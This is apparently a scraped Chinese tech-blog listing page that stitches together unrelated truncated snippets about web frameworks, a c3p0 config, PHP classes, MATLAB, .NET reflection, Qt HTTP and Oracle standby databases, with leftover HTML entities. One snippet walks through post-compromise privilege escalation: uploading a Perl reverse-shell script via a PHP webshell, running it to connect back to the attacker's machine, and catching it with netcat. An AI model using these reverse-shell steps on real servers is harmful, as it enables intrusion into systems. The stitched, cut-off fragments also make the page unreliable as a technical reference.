随着互联网的发展&#xff0c;各种网站技术以及网站的呈现技术层出不穷&#xff0c;网站的页面展现已经从之前的页面间跳转到现在大行其道的单页面应用&#xff0c;页面内容的切换不再需要进行页面的跳转了&#xff0c;使用起来更加舒适。功能在变化&#xff0c;技术在变迁&…

c3p0配置

2019独角兽企业重金招聘Python工程师标准>>> <?xml version"1.0" encoding"utf-8"?> <c3p0-config> <named-config name"mysql"> <property name"user">root</property> …

linux溢出提权

先在网站目录上传1.pl,是个反弹脚本 Phpshell执行chmod x 1.pl&#xff0c;给1.pl执行权限&#xff0c;图0 然后执行 ./1.pl 本机IP 1224接着本机监听nc -vv -l -p 1224&#xff0c;图1 反弹成功 输入id bash-3.2$ id uid529(zeicom) gid525(zeicom) groups525(zeicom) bash-3.…

php 抽象类、接口和构析方法

<?php/*class Ren {public static $color;static function Show(){Car::$name;self::$color;} }class Car {public static $name; }*///抽象类 /*abstract class DongWu {public $dong;public $jiao;function Chi(){}function Shui(){} }*///接口关键字&#xff1a;interfa…

matlab元胞矩阵赋值,matlab!怎么根据条件直接修改元胞数组中的矩阵

matlab&#xff01;怎么根据条件直接修改元胞数组中的矩阵mip版 关注:264 答案:2 悬赏:70解决时间 2021-01-28 07:03已解决2021-01-28 03:35我想实现这样的一个功能一个256*256的元胞数组Cel&#xff0c;每个元胞数组中都有一个15*4的矩阵Arr有15对256*256的矩阵a,b,c,d(分别…

动态反射——Load,LoadFrom和LoadFile

【问】 假设有一个类库文件LibraryA&#xff0c;其中有一个ClassA&#xff0c;该类的AssemblyName为“LibraryA”&#xff08;编译后的文件是LibraryA.dll&#xff09;。另外有一个LibraryB.dll类库文件&#xff0c;其中AssemblyName和其命名空间一样&#xff0c;并且其引用Lib…

12306订票助手更新

由于时间关系&#xff0c;以及做了较大变更&#xff0c;订票助手已经很久发布更新了。但是订票助手我还是会一直维护下去&#xff0c;直到……你懂的。 这个版本比以前有较大变化&#xff0c;还存在许多已知和未知的问题&#xff0c;只建议喜欢尝鲜的朋友使用&#xff1a; 不再…

C++--Qt使用Http协议

2019独角兽企业重金招聘Python工程师标准>>> #include <QNetworkAccessManager>//包含QNetworkAccessManager类 #include <QNetworkRequest>//包含QNetworkRequest类 #include <QNetworkReply>//包含QNetworkReply类 #include <QtCore> #in…

Oracle数据库adg数据没同步,Oracle 11g备库无法开启ADG的原因分析

今天碰到一个有些奇怪的问题&#xff0c;但是奇怪的现象背后都是有本质的因果。下午在做一个环境的检查时&#xff0c;发现备库是在mount阶段&#xff0c;这可是一个11gR2的库&#xff0c;没有ADG实在是太浪费了&#xff0c;对于这种情况感觉太不应该了。所以尝试启动至open阶段…